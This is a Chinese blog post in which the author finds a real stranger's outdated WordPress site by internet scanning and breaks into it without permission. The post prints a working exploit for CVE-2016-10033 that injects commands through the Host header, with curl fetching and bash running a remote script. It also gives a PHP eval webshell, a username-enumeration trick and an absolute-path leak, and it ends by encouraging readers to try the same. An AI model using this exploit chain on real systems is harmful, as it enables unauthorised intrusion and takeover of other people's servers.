今天,又是忙碌且充实的一天。

下班回到家的我,又在用 FOFA 扫网站,然后便扫到一个日本网友的博客站点。这界面风格,一看就是 Wordpress 了,网站底部也可以看到 Wordpress 的字样。

只有寥寥无几的博文,并且最近一条还是在 3 年前。

我浏览器装了 Wappalyzer 插件,插件显示了如下信息。

4.5.3 ?这是好久以前的版本了,看来博主确实很久没打理这个网站了。

不过看到这个版本号,我顿时来了精神了。因为我想起 Wordpress <= 4.6 有个经典的任意命令执行漏洞(CVE-2016-10033)。

立马找到我以前写的笔记,一顿翻找,不一会儿就找到了曾经用过的一个 exp。

#!/usr/bin/env python3

import requests

import sys

# wordpress's url

target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]

# Put your command in a website, and use the website's url

# don't contains "http://", must be all lowercase

shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]

# an exists user

user = 'admin'

def generate_command(command):

    command = '${run{%s}}' % command

    command = command.replace('/', '${substr{0}{1}{$spool_directory}}')

    command = command.replace(' ', '${substr{10}{1}{$tod_log}}')

    return 'target(any -froot@localhost -be %s null)' % command

session = requests.session()

data = {

    'user_login': user,

    'redirect_to': '',

    'wp-submit': 'Get New Password'

}

session.headers = {

    'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),

    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'

}

session.allow_redirects = False

target += '/wp-login.php?action=lostpassword'

session.post(target, data=data)

session.headers['Host'] = generate_command('/bin/bash /tmp/rce')

session.post(target, data=data)

简单讲一下上面的代码。

target 是目标网站,shell_url 则是要执行的命令文件的地址,并且这个地址必须是目标网站所在的机器可以访问到的,user 则是当前网站存在的用户名。

target 目前已知,那么我还需要构造 shell_url,并且需要得到一个有效用户名。

首先来构造 shell_url

创建 1.txt,写入如下的命令,该命令会在指定目录写入一句话木马。

echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/1.php

上面的命令指定将木马 1.php 写到 /var/www/html/ 下。而我现在要将木马写到网站根目录,但是我并不确定网站根目录是否为 /var/www/html/。

这时想起之前看到 Wordpress 有绝对路径泄露漏洞,访问 /wp-admin/admin-functions.php,显示如下。

当前网站根目录确实是在 /var/www/html/。

1.txt 放到本地服务器,再使用内网穿透,将本地服务器映射到公网,使得目标机器可以访问到。

输入公网地址访问测试,成功访问。

接下来获取网站用户名

网站域名是 mxxxxblog.com,所以猜测用户名为 mxxxx,进入登录页面进行测试。

用户名输入 mxxxxx,密码随便,提示密码错误。

随便输一个用户名。

提示用户名不存在。(看不懂日语,翻译的)

至此得到用户名。

修改 exp

将 target、构造的 shell_url 和得到的用户名替换到 exp 中,最终 exp 如下。

执行 exp

直接 python 执行,没有任何输出。猜测应该是执行成功了。

直接使用蚁剑连接,成功连接。

至此已经拿到 WebShell,不打算再往下了。

结语

其实这次渗透并不算难,基本就是一个 RCE 利用。主要还是目标网站所使用的的系统太老了。

在这里我想对大家说,有些事情其实没你想的那么难。你可以觉得难,但千万不要因为难就不去做,不愿意尝试。

希望大家共勉,加油!

点赞(0) 打赏

评论列表 共有 0 条评论

暂无评论

热门产品

触发修改文章时间【fastadmincms开发记录】|fastadmincms二次开发,触发,修改,文章,时间,fastadmin,ms,开发,记录
触发修改文章时间【fastadmincms开发记录】
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】|fastadmincms二次开发,在tp5中,过滤,输入,的零,宽度,字符,fastadmin,ms,开发,记录
在tp5中过滤输入的零宽度字符【fastadmincms开发记录】
处理tag标签中的0宽空格【fastadmincms开发记录】|fastadmincms二次开发,处理,tag,标签,中的,0宽,空格,fastadmin,ms,开发,记录
处理tag标签中的0宽空格【fastadmincms开发记录】
添加专题时tags标签id出错【fastadmincms开发记录】|fastadmincms二次开发,添加,专题,时tags,标签,id,出错,fastadmin,ms,开发,记录
添加专题时tags标签id出错【fastadmincms开发记录】
20230518----模板 广告【fastadmincms开发记录】|fastadmincms二次开发,20230518,模板,广告,fastadmin,ms,开发,记录
20230518----模板 广告【fastadmincms开发记录】
cms添加视频模型【fastadmincms开发记录】|fastadmincms二次开发,ms,添加,视频,模型,fastadmin,开发,记录
cms添加视频模型【fastadmincms开发记录】
新增单篇收费复制功能【fastadmincms开发记录】|fastadmincms二次开发,新增,单篇,收费,复制,功能,fastadmin,ms,开发,记录
新增单篇收费复制功能【fastadmincms开发记录】
添加开会员折扣功能【fastadmincms开发记录】|fastadmincms二次开发,添加,开会,折扣,功能,fastadmin,ms,开发,记录
添加开会员折扣功能【fastadmincms开发记录】

历史上的今天:05月02日

热门专题

外贸网站建设|外贸网站建设,英文网站制作,英文网站设计,美国主机空间,外贸建站平台,多语言网站制作
外贸网站建设
国家开放大学|国家开放大学报名,国家开放大学报考,国家开放大学,什么是国家开放大学,国家开放大学学历,国家开放大学学费,国家开放大学报名条件,国家开放大学报名时间,国家开放大学学历,国家开放大学专业
国家开放大学
昆明综合高中|昆明综合高中
昆明综合高中
安徽中源管业|安徽中源管业,安徽中源管业mpp电力管,安徽中源管业cpvc电力管,安徽中源管业pe穿线管,安徽中源管业电力管,安徽中源管业排水管,安徽中源管业通信管,安徽中源管业管材
安徽中源管业
云南网站建设|云南网站制作,网站建设,云南网站开发,云南网站设计,云南网页设计,云南网站建设公司,云南网站建设
云南网站建设
一年制中专|中专学历,中专是什么学历,中专是什么,中专有什么专业,中专升大专,一年制中专
一年制中专
自考本科|自考本科有用吗,自考文凭,自考本科文凭,自考文凭有用吗,自考本科文凭有用吗,自考文凭承认吗
自考本科
大理科技管理学校|大理科技管理学校,大理科技,大理科技中等职业技术学校,大理科技管理中等职业技术学校,大理科技学校
大理科技管理学校

微信小程序

微信扫一扫体验

立即
投稿

微信公众账号

微信扫一扫加关注

发表
评论
返回
顶部